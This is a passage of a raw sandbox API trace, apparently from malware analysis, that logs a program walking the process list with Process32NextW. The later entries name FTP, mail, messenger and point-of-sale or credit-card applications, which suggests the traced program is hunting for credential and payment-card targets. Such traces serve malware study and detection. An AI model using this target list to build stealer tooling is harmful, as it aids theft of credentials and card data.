th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0096.066] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.066] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.067] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.068] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.068] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.069] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.070] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.071] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.071] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.072] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.072] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0096.073] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.074] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0096.074] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0096.075] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.075] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.076] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0096.077] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0096.077] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0096.078] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0096.078] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0096.079] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0096.079] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0096.080] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0096.081] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actuallyutilization.exe")) returned 1 [0096.081] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0096.082] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="midnight_conclusions_venezuela.exe")) returned 1 [0096.083] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="capture guardian kits.exe")) returned 1 [0096.083] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nursing op deputy.exe")) returned 1 [0096.085] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scenariooperatingdts.exe")) returned 1 [0096.514] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ranksphysicians.exe")) returned 1 [0096.514] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="inf distributors.exe")) returned 1 [0096.515] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sa_surf_dig.exe")) returned 1 [0096.516] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="powered.exe")) returned 1 [0096.516] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fiction.exe")) returned 1 [0096.517] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="methodology-iowa-inclusion.exe")) returned 1 [0096.518] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mhz.exe")) returned 1 [0096.518] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="stores predictions calculations.exe")) returned 1 [0096.519] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ogmothers.exe")) returned 1 [0096.519] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="beside-bedford.exe")) returned 1 [0096.520] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="curves.exe")) returned 1 [0096.521] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="vi-ieee.exe")) returned 1 [0096.521] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="costa.exe")) returned 1 [0096.522] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0096.523] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0096.524] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0096.525] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0096.526] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0096.527] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0096.528] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0096.529] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0096.530] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0096.531] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0096.532] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0096.534] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0096.534] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0096.535] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0096.536] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0096.538] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0096.539] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0096.540] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0096.541] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0096.542] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0096.543] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0096.544] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0096.545] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0096.546] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0096.547] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0096.548] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0097.129] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0097.130] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0097.132] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0097.133] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0097.135] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0097.137] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0097.151] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0097.209] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0097.211] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0097.212] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0097.213] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0097.271] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0097.273] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0097.275] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0097.284] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, 